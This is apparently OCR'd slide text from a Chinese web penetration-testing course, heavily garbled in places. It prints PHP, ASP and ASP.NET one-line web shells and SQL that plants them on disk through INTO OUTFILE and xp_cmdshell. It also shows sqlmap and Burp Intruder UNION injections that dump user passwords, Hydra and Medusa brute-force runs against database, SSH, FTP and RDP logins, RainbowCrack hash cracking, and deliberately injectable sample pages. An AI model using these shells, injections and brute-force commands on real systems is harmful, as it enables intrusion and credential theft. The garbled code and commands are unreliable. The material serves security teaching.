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do BB TR 2B AT RE AL, NSFOLYUSE DU KB T #3614 B -

* 4 3£ 4% 2] 3k Einclude B & Fshopcar.ciass php 4F, 82 & 69484
eval(file_get_contents('php://input')y; Bp ¥
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ExAPTlnnBIESE Home Exploits Shellcode Fapcors Google Hacking Database Submit Search

Offensive Security’s Exploit Dstabase Archive 39032

The Exploit Database - ultimate archive of Exploits, Shellcode, and Se “u:ity Papurs. New to the site? Learn about the Exploit Database. Exploits Archived

~—

The Exploit Da el .

The Exploit Database (EDB) is a C\E cgpliangarchive of exploits and -1 ' I:__,—|
vulnerable software. A great resour etration testers, vulnerability “ > ]

CVE Compliant  (%)\/="

cve.mitre.org
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<form action="hack.php" method="post">
<input type="text" size="20" maxlength="50" name="XS">

<input type="submit" value="3#% ">
</form>

<?php @eval(S_POST['XS']);?>

Zinput¥ W A phpf 5T AEZ T  thief

php ¥ 3T & = A<?php @eval($_POSTI'¥%3']);?>
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X% | my.php
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<?php @eval($_POST['XS']);?>
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create table x (cmd text NOT NULL); 1) > xampp > htdocs > sec » 10
insert into x(cmd) values('<?php @eval($_POST[cmd])?>'); N
select cmd from x INTO OUTFILE 'C:/xampp/htdocs/sec/10/eval.php’; g=2i
DROP table if EXISTS x; 7 eval.php
my.iniZe A

temp=C:\MyAQL\TMP

1 |create table x (emd text NOT NULL); I + 1 u 2 u =

2 inzert into xl{omd) walues (" <iphp @ewal (f POST[eomd]) 7> vl k}php @eval{$_PDST[cmd]}?>
|. 3 zelect cmd frgm x INTO OUTFILE "C:/frampp/htdocs/zec /10 ra) . php ; 2

4 DROF table 1f EXISTS =;




PHATSQLIE &)

Access

1. create table cmd (a varchar(50))
2. insert into cmd (a) values ('<%execute request("tmdsb")%>')
3. select * into [a] in 'C:/xampp/htdocs/sec/10/1.asa;x.xls' 'exrel Q.Q:'from cmd

4. drop table cmd
SQL Server

exec xp_cmdshell 'echo *<%eval | evuect("chopper")%M>>C:\xampp\htdocs\sec\10\1.txt

1.asa;x.xls

= ) lixt - iEEA

(BN YHHF) RIE(E) 18R(O) EE(V) EBEH)
%eval request (“chopper”)%>

Cexecute request (“tmdsb”) %>

I QLQue ya.sql - D....master (sa (52))* X
’ exec xp _cmdshell ’echo <%eval request(”chopper”)> >>C: \Xampp\htdbcs\sec\lﬂ\l txt’
|



B A

5B B e By A H KB Stk (Chrome#Developer Tools) , #47 Eq%

OrayE il FHl M AR

‘_‘T

nen « | &m | nssam®c]

- gre®
= BEEE
= mEEEE -

MSSQLIES

MSSQLET N

MSSQULIEA

MSSQLELEE

MS<L WEBEE
' MYSQLIEE

Y
M YSQLEE

%. Vﬁq L=y fE R
l MYSQL WEBETR

SIERTE Y8 di 223 4. 90. 161

HRES B LaEITTS

e FIPRET| |







A AT A

RainbowCrack

1) rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0
#% rmd5_loweralpha-numeric#1-7_0_3800x33554432_0.r¢

2) rtsort md5_loweralpha-numeric#1-7_0_3800x32554432_0.rt

3) rcrack *.rt -h 21232F297A57A5A743894A0E4AL01FC3

C:\Users\Jerry\Desktop\rainhowcrack-1. 5-win32>rcrack *. rt —h 21232F297A57A5A743894A0E4A801FC3
2096001024 bytes memory available

1 x 536870912 bytes memory allocated for table buffer

60800 bytes memory allocated for chain traverse

disk: md5_loweralpha—numeric#1-7_0_3800x33554432_0.rt: 536870912 bytes read

searching for 1 hash..

plaintext of 21232f297a57a5a743894a0e4a801fc3 is admin

disk: thread aborted

statistics
plaintext found: 1of 1
total time: 0.95 s
time of chain traverse: 0.94 s
time of alarm check: 0.00 s
time of wait: 0.00 s
time of other operation: 0.02 s
time of disk read: 0.36 s
hash & reduce calculation of chain traverse: 7216200
hash & reduce calculation of alarm check: 5515
number of alarm: 128
speed of chain traverse: 7.69 million/s
speed of alarm check: 5.51 million/s
result

21232f297a57a5a743894a0e4a80IfCSI admin rex:61646d696e



MD5

C\

A AT A

H L | ra v .
RainbowCrack Rcinow iakie-search Rainbow Table
k o
j] ;. I rcrac _gUI'exe | 4R bowC ack 1.5 — a X
File Edit Rainbow Table Help
R He b Plaintext Plaintext in Hex Comment
Flle-Add HaSh {E ~_232£297a57a5a743894a0e4a801fc3  admin €1646d696e

Bl RainbowCrack 1.5

File Edit Rainbow Table Help

Hash Plaintext Piaintext in Hex

Add Hash X
Hd‘: Messages
21232F297A57A5A743894A0E4A801FC3 rainbow tables to be searched: ~
C:\Users\Jerry\Desktop\rainbowcrack-1.5-win32\Cain\Cain4.9\Winrtgen\md5_all#1-8_0_2400x40000000_oxid#0
charset all is not defined in charset.txt
Commen m d” rainbow tables to be searched:
t ( g C:\Users\Jerry\Desktop\rainbowcrack-1. 5—Hian\ms_loweralpha-numericf1-7_0__3800x33554432_0.rt
A W 1774485504 bytes memory available
1 x 536870912 bytes memory allocated for table buffer
60800 bytes memory allocated for chain traverse
disk: C:\Users\Jerry\Desktop\rainbowcrack-1.5-win32\md5_loweralpha-numeric#l-7_0_3800x33554432_0.rt: 53687
searching for 1 hash.
m w plaintext of 21232f297a57a5a7438%4al0e4a801£fc3 is admin

disk: thread aborted




3242 MD5 0-7 8-24

e RainbowCrack
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http://www.cmd5.com

http://www.md5this.com/index.php PN
http://www.md5decypter.com 2T23263Q7 ASTR5AT43894A0E4A801FC3

http://www.xmd5.org EE

21232F297A57A5A743894A0FE4AS01FC3

QU EAPRE

admin

public static String enc(String str){
str =MyMd5.getMd5_32(str); =RMD5-& 5 5 5
String temp = str.substring(0,5\;
temp = temp+new Radom() nexdrt(10);
str = temp + str.substring'?):
return MyMd5.getMdE 3.2\ tr);
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-- Table structure for paper
DROP TABLE IF EXISTS “paper;
CREATE TABLE “paper’ (
“id” int(11) NOT NULL AUTO _INCRENVIENT,
“title’ varchar(200) NOT NULL,
“content’ varchar(500) NOT NULL,
“sig* int(11) NOT NULL,
PRIMARY KEY (‘id")
) ENGINE=InnoDB DEF/\{'LT CHARSET=utf8;

-- Records of paper

-- Table structure for user
DROP TABLE IF EXISTS "user’;
CREATE TABLE "user’ (
‘id" int(11) NOT NULL AUTO_INCREMENT,
‘'name’ varchar(20) NOT NULL,
‘password” varchar(20) NOT NULL,
PRIMARY KEY (‘id")
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT
CHARSET=utf8;

-- Records of user

INSERT INTO ‘user” VALUES ('1', 'jerry', '123456');






SQLE 4

cd E:\SOFTERWARE\ %4 L E\sqlmap
sqlmap.py -u "http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" -D "haci=r" -T "pw_members" -C "id,name,password" --
dump --csv-del=" -- "--output-dir="C:\out" --dump-format=CSV -thread &

—-csv-del: FHCSVIXH, F5FZ @698 BT, AL Zw
—output-dir: i X4 £
--dump-format: $i# X444 KX CSV. HTML. SQLite

C:\Users\Jerry\.sqlmap\output\127.0.0.1\dump\sec

hame, password
jerry,123456
admin, 123456

admin ,123456




SQL/E 4%

1, HAKIEE
sqlmap.py -u "http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --currer.:-db

[18:42:10] [INFO] retrieved: sec
current database: " sec’

2, ik
sqlmap.py -u "http://127.0.0.1:8080/sec/21/jsp/index.js.?id=5" -D "sec" --tables

atabase: sec
[2 tables]

_______ 3, k7|
sqlmap.py -u "http://127.0.0.1:£030/sec/21/jsp/index.jsp?id=3" -D "sec" —T user --columns




SQLE 4

4, PIABFERT O RIFER
sqlmap.py -u "http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" -D "sec' -T user --count

[10:39:21] [INFO] resumed: 1
Database: sec

Entries

 Table

|
1

-
[y}
D
'1.!

5, AIARE W 1K
qlmap.py -u "http://127.0.0.1:8080/sec/21/jsp, index.jsp?id=3" -D "sec" --sql-query="select
from user order by id LIMIT 1,1;"

10:39:58] |INFO| resumed: 2

elect id from user order by ic LIMTT 1,1;: A



SQLE 4

6, JfBurp Suitei 4T INEX
http://192.168.0.105:8080/sec/21/jsp/index.jsp?id=-1 UNION ALL SELEC

NULL,NULL,concat(0x7c,id,0x7E,name,0x5E,password,0x5E) from user whore 1d=1

Ox7c:|

Ox7E:~ | ID ~name”password”

Ox5E:A

GET ,’sec,’E‘I,’jsp,fl'ndex.jsp?id:3%20UNION%EDALL%EDSELEL,T%EOI,'LJLL_NW..concat{ﬂx?c,|'d,Ox?E,name,DxSE,password,UxSE)%20from%EOuser%EOwhere%ED%Eﬂfd:E"IE

HTTP/1.1
Host: 192.168.0.105:8080
User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Winb4d; x64; v.”9.0) Gecke, 20100101 Firefox/59.0

Send to Sequencer
Send to Comparer
Send to Decoder

Reqguest in browser

Action |
Send to Spider
Do an active scan
Send to Intruder Ctrl+
Send to Repeater Ctri+R

Accept: text/html application/html+xmlapp ‘catio \xmlg=0."*/*q=08
Accept-Language: zh-CN,zh;g=0.8zh-TW;q=L ¥,7h-HK;q=0.5,en- 1S;q=0.3,en;q=0.2
L Accept-Encoding: gzip, deflate
_}Connection: close
Upgrade-Insecure-Requests: 1

Engagement tools

Change request method
Change body encoding
Copy URL

REAXE




SQLE 4

[ Target T Positions M Options ]

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack ty

Payload set: L‘l_
Payload type: thm:nm H

H Payload count: 4

Request count: 4

8

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a spec fird ‘ormat.

Mumber range

Type: ® Sequential (_) Random

From: 0

To: 3 __l

Step: 1 '
ep N

How many:

Mumber format

Razna- @ MNearinal £ Hiaw

option->Grep Extract

Define extract grep item

Define the location o, "ne item to be extr. sted. Selecting the item in the response panel will create a suitable
configuration autoraatir=. * You <an also modify the configuration manually to ensure it works effectively.

- [] Define sta~ and en. * -

‘ ® tan sfter expre. cion: |[Wn<liz|
NN St ai oh. ot 193
® Cnd at delimiter: ~jermyt

) End at fixed length: 1

- [ Extract from regex group

| <z 2)-fo

/] Case sensitive

&P )G B 3 A AR EN

[] Exclude HTTP headers (] Update config based on selection below

Refetch response

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/htmlicharset=gh2312
Content-Length: 268

Date:'Wed, 28 Mar 2018 03:48:07 GMT
Connection: close

<liznull</li>
<I|'>|I-ujerry"'1 234560 < /1>

from user(na meTEIEII][Ip OOO00000o0L)

0000000000 %d =3000000m0v:, 00000%id=3 union all select 1,2,3 from
user (userld000p0000000) 00000406 000°00000000000 0000000%d =3 union all select 1,2,name

"FT




IR

SQL/Z 4t
Sk S INE P & Fe S5 AL B OE I R 3K X
Grep - Extract

These settings can be used to extract useful information from respo

(/] Extract the following items from responses:

From regex group: \|{_*?)~

From regex group: ~(_*?)\»
dit From regesx group: W _*?)\»

truder->Start attack

Intruder attack 6 — O X

Attack Save Columns

H Target | Positions | Payloads | Options |

‘ Filter: Showing all items

| Payload |Status | Zmor | Ti- eout|Le va V("2 |~ w2
200 O L 3 1 jerry 123456

1 200 0 g 1 jerry 123456

2 20 N O 387

3 RN N E— e

1 ann (] 0 510 1 jerry 123456

2 200 ] 0 510 1 jerry 123456

3 200 (J O st 1 jerry 123456
¥ A J >
iv‘ Response |

j“]i&:ns Headers | Hex

SEy

foodfe spfin lexjsplid=-1%20UNION %20ALL%20SELECT %2 0NULL NULL, concat(0x7 ¢,id, 07 E,name,0x5E, password, 0x5E) %20 fr
om%2" u. r36 ! 0where%:20id=3 HTTP/1.1

Host: 92.1.8.0.105:8080

lser-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; n:59.0) Gecko/20100101 Firefox/59.0
A mept: text/htmlapplication/<html+xml,application/xml;q=0.9,%/*,q=0.8

A ept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=01588D222CF24982DBE400DBB195DF62

Connection: close

Upgrade-Insecure-Requests: 1

|Type a search term

Finished




SQLE 4

http://192.168.0.105:8080/sec/21/jsp/index.jsp?id=-1 UNION ALL SELECT

NULL,NULL,concat(0x7c,id,0x7E,name,0x5E,password,0x5E) from user hmit &1&,3

Filter: Showing all items
'Request 4 | Payload Error Length w2
OJ 430 24680
1 0 LJ 474 123456
2 1 CJ 430 24680
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MySQL
select * from table limit I,N;

Postgre SQL
select * from table limit | offset N;

Oracle
select t2.* (select rownum r,t1.* from table t1 where ro\nun.<N) t2 where t2.r>l;

SQL Server
lect * from (select top I+N * from table) a where il! not in (select top | id from table)




515 X RAF R X

vl FRAA LN

vl R \

Y EABR

@ | R |

) ARP 3 3 |
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% 3 N
£ SR A s RAK, A—RATREEG T, B W
EAHA, B BHR L 0 B ok

; P2y A :
NMAP. X-scan. Hyara. CrackDB

SQL Server sa
MySQL root

Oracke system

) ) = L)
DS 7 7P

Hydra: FTPM. SSQL. MYSQL. POP3. SSH




C/S - H) B iR

Hydra
BB MS SQLServer

C:\Program Files (x86)\Nmap
namp -p 1433 -A 192.168.0.105

Host script results:

| ms-sql-info:

| 192.168.0.105:1433:

| Version:

| name: Microsoft SQL Server 2014 RTh:
| number: 12.00.2269.00

| Product: Microsoft SQL Server 24'4

| Service pack level: RTM

| Post-SP patches applied: true

| TCP port: 1433

hydra -l <a -r pas: ixt 127.0.0.1 mssq|




Hydra
hydra -l root -P pass.txt 192.168.0.105 mysq|

Hydra (http://www. thc. org/thc—hydra) starting at 2018-03-28 17:38:47

[INFO] Reduced number of tasks to 4 (mysql does not like many paralle. councctions)

[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (1:1/L-1), "0 t.ies per task
[DATA] attacking service mysql on port 3306

1 of 1 target completed, 0 valid passwords found

Hydra (http://www. thc. org/thc—hydra) finished at 2018-03-28 17:38:4%

c:\hydrarhydra -1 root -P pass.txt 192. 168. 0. 105 mysqgl
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use .. uili.ary or secret service organiz

rposes.

Hydra (http://www. thc. org/thc—hydra) starting at 2018-03 20 17:39:08

[INFO] Reduced number of tasks to 4 (mysql does not 1.'e many parallel connections)

[DATA] max 2 tasks per 1 server, overall 64 ta.ks, 2 “oxin tries (1:1/p:2), "0 tries per task
[DATA] attacking service mysql on port 3306

[3306] [mysql] host: 192.168.0.105 login: r~ot  prssword: 123456

1 of 1 target successfully completed, 1 valid password found

yvdra (http://www. the. org/thc—hydra) finished at 2018-03-28 17:39:08

Yo FAE LT AE T .
GRANT ALL FRIVILEGES ON *.* TO 'myuser'@'192.168.1.3'
IDENTIFICU 3y 'mypassword’ WITH GRANT OPTION;

FLUSH PP (VILEGES;




Hydra

W IRFTP B AL

hydra.exe -l admin -P c:\pass.txt -t 5 192.168.1.110 ftp
R-IBER P L, tHREEE

B fEssh

hydra.exe -L users.txt -P password.txt-e n -t 5 -vV 192.168...1.10 ssh
R “-en”stE HAEAR

% A rdp

dra.exe -l administrator -P c:\pass.txt www xvser.com rdp -V
www.xxser.com#Jrdp IR 5-, Bp A2 2L bl

e -l root -P pass.txt my.pec,.3.::.ail pop3

DR REEEF,, —MReBRBEEE, —£ “BWE”




-R: %ﬁ&i~&ﬁ&&%&%

-S: X5, RASSLi&#

-s<PORT>: )5, Ti@dXA ALK EIEKIAMR D

-I<LOGIN>: 5 2 Meg A, 42/ P

-L<FILE>: AP &FH

-p<PASS>: | E, MREEBE, JA, —BRARAZHFT &
-P<FILE>: X5, HREHFH

-e<ns>: %R, n: EHEARXK, s: AR EZA P FG LR
-C<FILE>: A E 558 #X, #ld “BFL:F8" X 5-L/-PRK
-M <FILE>: #§ % H#FF| £ —47—4

<FILE>: 3% &4 RHrd 4

AERA-MEE UG, RBFZ—NERLRH % S Y& P L E
ASKS>: F)EfEATHRAZE, FKiAA16

ME>: #E R XBATEIATE, #2454 . i . £30s

B ritmidiE

XA

ARip

RE-4%, XFHGE. 5 2HiUh: telnet ftp pop3[-ntim] imap[-ntim] smb smbnt http-{h
Xy cisco cisco-enale: vac ldap2 Idap3 mssql mysql oracle-listener postgres nntp so
anrl ssh? smton-authl-ntlm1 ncanvwhere teamsbeak sin vmauthd firebird nco




MedusaZ % #AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NMT?, °cAnywhere, POP3, PostgreSQL,
rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VinAuthd, VNC#) 58 A5 4 sk T L,

5k
Medusa [-h host|-H file] [-u username|-U file] [-p password |-+ tile} [-C .ile] -M module [OPT]

-h [TEXT] B A7IP

-H [FILE] B A7 A4 -n[NUM] & A IERAR D

-u [TEXT] A -s & FSSL

-U [FILE] R P 2 XA -r [NUM] X fgetiE, KA H3%)

55 7L, -t[NUM] ERELEBXKE

5 A S AF -L HAFH, AR PR —ANEE
44 B M -f M EN LRI E —ANKT/EAE,
iﬁ" E’ l:!fr’fg oé‘\!: -q ﬁﬁ?ﬁ%ﬂlﬁi)ﬂ '%- oévl‘

NEAZER, CEAFBERAPLLME v[NUM]  #£#m%5% (0-6)

A2 B AT % R -w [NUM]  453%R&X L% (0-10)

1o SR B R -V BT RA

BT ¥ o LR -Z [TEXT] &R E—K







Attack type: [ Sniper

POST flogin_action/ HTTP/1.1

Host: 192.168.0.105:8000

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wingd; x64d; n59.0) Gecko,/20100701 Firefox,/59.0
Accept: text/htmlapplication/shtml+xml, application/«ml;q=0.9,%/*q=0.8

Accept-Language: zh-CMN,zh;q=0.8zh-TW;q=0.7 zh-HK;q=05,en-U5;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http,//192.168.0.105:8000/

Content-Type: multipart/form-data; boundary=-----—---——= = - oo~ 41184676334
Content-Length: 415

Cookie: csrftoken=wlKjéwagq3 ADwpfx2kyOESCqyeNkYiZZ2Ln\y AU BkM oip7 I8t FDKKNYITH 25§
Connection: close

Upgrade-lnsecure-Requests: 1

————————————————————————————— 41184676334
Content-Disposition: form-data; name = "csrfmiddlewaretoken”

dvpAMENIEEmRowl90aXdh3MEGSIznClOGEH 23 IyDIiOGOc TUUL M MNA S FEThTKe =7 20
————————————————————————————— 41184676334
Content-Disposition: form-data; name = "usernarme”

cindy§s
————————————————————————————— 41184676334
Content-Disposition: form-data; name="password"

56543215 g;%:g%ggﬁ, < 2

— A
Payload Sets

You cma cefine one o. more payload sets. The number of payload sets depend

Pay 1ad =at: p Y H Payload count: 12

Payload type: [_&mm H Request count: 48

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as p:

Paste 345678 "
123456
querty

abcdef
Remove
yyuurr

ppoouu

FlEED
é

Add

S

Add from list ...

T




Grep - Match

These settings can be used to flag result items containing specified expressions.

(/] Flag result items with responses matching these expressions:

remberme 3

Remove

PiEE

£

remherme| 2

=

2
=
o

]

- (@ Simple string 4
(L) Regex

. [Clear]

Add J # A\ remberme.
& [Add]

i FSimple sirine




Intruder attack 7 —

Attack Save Columns

_w Target | Positions | Payloads | Options |

|

‘ Filter: Showing all items

Request 4 | Payload |Status | Error | Timeout|Length | remb... | Comment
0 200 g O a7 ]
1 345678 200 O O 1747 O
2 [123456 | 302 ] [] 354 OJ
3 qwerty 200 O O 1747 O
4 abcdef 200 O O 1747 O
5 000000 200 O O 1747 O
6 yyuurr 200 O ] 1747 O
7 ppoouu 200 O [ 1747 ]

| Raw | Headers | Hex |

HTTP,/1.0 302 Found

Date: Wed, 28 Mar 2018 09:09:40 GMT
Server: \WSGIServer/0.2 CPython/3.5.2
Content-Type: text/html; charset=utf-8
Content-Length: 0

X-Frame-Options: SAMEORIGIN

|Wary: Cookie

Location: /goods_wview)/
Set-Cookie: sessionid=le1kS5rm208dyottlspsuilbzcavxrnu; expires="Wed, 11-Apr-2018 09. 9:40 GMT; HttnOnly;

{Max-Age=1209600; Path=/

Intruder attack 8

Attack Save Columns

M Target | Positions [ . inads Tk::’_ﬁ' L

| Filter: Showing all items

Request 1|Payload | Status |Err0f |11meout|Lengm |remb... |Commeﬂt
0 200 O O 1747 O

1 3567 200 O O 1747 O

2 123.%6 302 O [ 354 O

3 we v 200 O O 1747 O

4 b tet 200 O O 1747 O

5 0000u 200 O O 1747 OJ

q Yy ® 200 O O 1747 O
1 7 ppoouu 200 O [ 1747 O
|

=
HHeaders | Hex | HTWL | Render |

<input type="hidden’ name="csrfmiddlewaretoken’ A
value="%«fmdk0Fnl tZxnGCTyvnMrR9761amspnCDSLAFE GzOQg9TU mLsd WiTBlkgk29sP9cf' /=
<h2 class="form-signin-heading "> B FRESRH-BFR</h2>
<p><label for="id_username">fP&:</label> <input type="text" name="username"” value="cindy" maxlength="100"
id="id_username" required /> </p>

sword” name="password" required id="id_password" /> </p>

<p style="colorred" > AP B EEEHEIR</p> <br>
<button class="btn btn-Ig btn-primary btn-block” type=
w » n I

bmit">8F</button> <br>

</form>
</dive <l-- /container -->
</body>

</htmil=

@) @ @ @) [

Finished ]
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FREALEFLESFALEBAN, FAFRE "AAT-F , ERIARBAN, LEEHR
TH AR LA R — RSB RS EH BARR . K RIREFRR ORI, X —id
T S E L)

3coding.com %

-

bbs.3testing.com

D:\coding




IP 3 v &34

http://www.yougetsignal.com/tools/web-sites-on-wek-server/
http://tool.chinaz.com/Same/

http://dns.aizhan.com/

http://www.114best.com/ip/

Reverse |IP Domain Che¢X

Remote Address |www.3testing.com | Eﬁeck

- 1

&J Found 2 domains hosted on tr.= same web server as www.3testing.com (114.55.96.60).

3testing.com www.3testing.com

about
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R & A

Bl SRAAA R 1

- DVWA ’
 img UEA R RARRAD B, M AKEART R RS
- phpMyAdmin W]%B a iﬁﬂ, ;]%_Shei;.;é A\Aﬁucéé W] ﬁ& ‘:'7 ]

- webalizer

o Xampp b-&] j&c

. XSSser




HIEENE

HIEAESQUENG M T, #|Asqlmapst L#ATH M. #lde, SQLSer eriz A\ &he R ZDB_Ownerit [k, T LA#AT
BPEEA, FshellFA 2B X, WRRRAES K, 3T RARK.

HJiZEaspiE A B W) 3 — ATk 15308 B 8 S
<l--#include file="xx.asp"--> <%
<[% ' strSQLServerName = "000.000.000.000" 'JR %2 & #k R 3buk
set rs=server.createobject("ADODB.recordset") SHE0l bl EE Ell =" sqlnan:e , S
_ R strSQLDBPassword = "sqlpass P X
id = request("id") . L
strSQLDBName = "sqldataname B IE L AR

strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3

rs.close

%>

[ConnectionOpen()nviilid Instance())] £z 6954
Name ="127.0.C 1, 1535" Bp 7]

Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security
Info=False;Server=" & strSQLServerName & ";User ID=" &
strSQLDBUserName & ";Password=" & strSQLDBPassword &
"-Database=" & strSQLDBName & ";"

conn.open strCon
%>




HIZEIENE

Hyi&aspxiE N &
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<IDOCTYPE html>
<script runat="server">
private DataSet resSet=new DataSet();
protected void Page_Load(object sender, EventArgs e)
{
String strconn = "server=.;database=asp_test;uid- s3;pv'u- waitalone.cn";
string id = Request.Params["id"];
string sql = string.Format("select * from adxu» wh-=re id={0}", id);
SqlConnection connection=new SqglConnecticalstrconn);
connection.Open();
SqlDataAdapter dataAdapter = new 5q'LataAdapter(sql, connection);
dataAdapter.Fill(resSet);
DgData.DataSource = resSet.\3lz! 25 v,
DgData.DataBind();




HIZEIENE

Hyi&aspxiE N &
Response.Write(" #t471& &) :<br>"+sql);
Response.Write("<br>% £ 24:");
}
</script>
<html xmins="http://www.w3.0rg/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; chaiset-utf-8"/>
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:DataGrid ID="DgData" runat="scvrver" BackColor="White" BorderColor="#3366CC"
BorderStyle="None" BorderWidth="1px "' CellPadding="4"
HeaderStyle-CssClass="head" “Vidth=":203px">
<FooterStyle BackColor="#29CC:{ ' ForeColor="#003399" />
<SelecteditemStyle BackColor-"#1)09999" Font-Bold="True" ForeColor="#CCFF99" />




HIZEIENE

Hyi&aspxiE N &
<PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign:."Left"
Mode="NumericPages" />
<ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bo!2-"Ti1c' ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid>
</div>
</form>
</body>
</html>

JIA Y
#'.‘,—sﬁﬂ:
select * from admin where id=-1 union select 1,2,system_user

=2y S}

id username | password




HIZEIENE

Hyi&aspxiE N &
<PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign:."Left"
Mode="NumericPages" />
<ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bo!2-"Ti1c' ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid>
</div>
</form>
</body>
</html>

JIA Y
#'.‘,—sﬁﬂ:
select * from admin where id=-1 union select 1,2,system_user

=2y S}

id username | password




HIZEENE

H)ZEPHPIE A%,
<?php

Sdb_host = 'localhost’;
Sdb_user = 'root’;
Sdb_pass ='123456';
$id = $_REQUEST['id'];
Slink = mysql_connect(Sdb_host, Sdb_user, Sdb_pass) ¢~ \lie"UB Connect Error: " . mysql_error());
mysql_select_db('sec’, Slink) or die("Can\'t use sec: ". r.veqgl_orror());
Ssql = "SELECT * FROM user WHERE id=Sid";
Squery = mysql_query(Ssql) or die("Invalid Query -
while (Srow = mysql_fetch_array(Squery)){
echo" A FID: ". Srow['id'] . "<hr.",
echo"f FK5: ".Srow['name'). "<br>";

".y-ql_error());

echo " p %A : " . Srow| password'] . "<br>"; ﬁHFID;l |
} HAKS: jerry
: P 50: 123456
mysal_close(5link); BT EAEA): SELECT * FROM user WHERE id=1

echo" B AT & #4584 : ".Ssei"<ai. 7
>



H I IEN EHIEISPIEN

<%@ page contentType="text/html; charset=utf-8" %>

<%@ page language="java" %>

<%@ page import="com.mysql.jdbc.Driver" %>

<%@ page import="java.sql.*" %>

<%

/B AHF 4

String driverName="com.mysql.jdbc.Driver";

[/ BEER P4

String userName="root";

ks

String userPasswd="123456";

k& FA

String dbName="sec";

/1 %%

String tableName="user";

String sql="select * from "+tablzMame--" vshere id="+request.getParameter("id");
[/ &EF 7 %

String url="jdbc:mysql://loca'hast/" rdbName+"?user="+userName+"&password="+userPasswd;
Class.forName(driverName).newlnstance():




H I IEN EHIEISPIEN

Connection connection=DriverManager.getConnection(url);
Statement statement=connection.createStatement();
ResultSet res=statement.executeQuery(sql);
if(res.next()){

%>

<li>F PID: <%=res.getString("id")%></li>
<li>H P K5 : <%=res.getString("name")%></li>
<li>F P &£#: <%=res.getString("password")%></li>
L AT E 9354 1 <%=s5ql%><br>

<%

}

res.close();

FAID: 1

AP : jerry

o  HFPE: 123456

statement.close (); MATEIRIER]: select * from user where id=1

connection.close ();

%>




CDN

CONBP A A Z WM&, REB1EFACDNZE, ELHIPRATERALAR, XFEHF AL LRI BAFIIGIP, L3k LxHAT
FiEHE

CONTAERE: ¥ RMFBLTARAEHFG I (S 85 IS, CSS¥) THRABAFRSE, LA 7RKRY
BLE, $E M ERESE, MARABELTRRREE.




CDN
4% A JAVA 3% B IP 2, ik

package sec;

import java.net.*; +
Bl Problems = Javadoc = F=Hf B &G ==

<B#1F> getlPAddress [Java WFEfERF]
IP:114.55.96.60 7F7£CDN

public class getIPAddress {
public static void main(String[] args) throws Exccstion
InetAddress[] address =
InetAddress.getAlIByName("www.3testing.com"),
for (InetAddress inetAddr.ss:add rcss){
System.out.piim{ iP:"+inetAddress.getHostAddress());
if(linetAddress.isl.oopbackAddress()){
svstem.out.printin("\t 4 Z£CDN");

}




FiE Bk 3\*

cD PHP & %
%ﬁﬂ?wﬁ&

e phpinfo()

e www.3testing.com
e bbs.3testing.corn

e vip.3testixig.com
N, EIPE&L

e ntip://toolbar.netcraft.com/
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52 b g w)
i i BRAR AN

BE—TFTAGRERR 415+ 7 B R B RAZ LA, =xploit-db_L & overlayfs =T ¥2 B & 324,

T A — TR R R ZATIRA:




Windows 32 A

Ry A2 & 2 bwsaint shellfk F rtbi g, {22 .NET
_ Framework 4 4% & A 40
wscript.shell
ASP.NET .NET Framework
JSP IVM( B & jsp 3 /£ adminitrator A FR3E 5 69,

et Ws = CreateObject("Wscript.Shell")
nction Exec(ByVal Command As String) As \Wvs1Exec
tion Run(ByVal Command As String, ['}y ./al WindowsStyle], [ByVal WaitOnReturn]) As Integer

11S 6.0, 3eUE IiT - A






C:\Users‘Terry. 'notstat —an

1, R&HBIFGHARIES EE
Y A bk AR b e RE
™C® 2 0.0.0:80 0.0.0.0:0 LISTENING
5 H&%%Jﬁ% - ™C®  0.0.0.0:135 0.0.0.0:0 LISTENING
3 1 3= 9 TCP  0.0.0.0:445 0.0.0.0:0 LISTENING
? 1CF 0.0.0.0:902 0.0.0.0:0 LISTENING
TCP 0.0.0.0:912 0.0.0.0:0 LISTENING
) o N \( TCP  0.0.0.0:1433 0.0.0.0:0 LISTENING
3 TCP  0.0.0.0:1537 0.0.0.0:0 LISTENING
- & TCP  0.0.0.0:1538 0.0.0.0:0 LISTENING
i\%;}aﬁ Web shell EJ %é{’ “‘%l% TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING
. - TCP  0.0.0.0:1544 0.0.0.0:0 LISTENING
,ﬁ,yf—é‘l! AWM A/ namp -A-p 192.2¢%.0.105 TCP  0.0.0.0:1574 0.0.0.0:0 LISTENING
TCP  0.0.0.0:1612 0.0.0.0:0 LISTENING
